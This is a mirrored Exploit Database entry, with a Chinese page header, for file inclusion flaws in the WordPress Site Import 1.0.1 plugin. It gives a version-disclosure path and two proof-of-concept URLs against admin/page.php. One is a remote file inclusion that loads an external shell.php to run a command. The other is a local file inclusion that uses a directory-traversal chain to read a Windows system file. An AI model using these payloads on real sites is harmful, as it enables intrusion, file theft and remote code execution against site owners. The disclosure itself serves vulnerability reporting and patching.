WordPress Plugin Site Import 1.0.1 – Local/Remote File Inclusion

• Exploit Database
• 15 阅读

• 作者： Wadeek
  日期： 2016-03-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39558/

• # Exploit Title: WordPress Site Import 1.0.1 | Local and Remote file inclusion
  # Exploit Author: Wadeek
  # Website Author: https://github.com/Wad-Deek
  # Software Link: https://downloads.wordpress.org/plugin/site-import.1.0.1.zip
  # Version: 1.0.1
  # Tested on: Xampp on Windows7
   
  [Version Disclosure]
  ======================================
  /wp-content/plugins/site-import/readme.txt
  ======================================
  [PoC]
  ======================================
  Remote File Inclusion == http://localhost/wordpress/wp-content/plugins/site-import/admin/page.php?url=http%3a%2f%2flocalhost%2fshell.php?shell=ls
  Local File Inclusion == http://localhost/wordpress/wp-content/plugins/site-import/admin/page.php?url=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini
  ======================================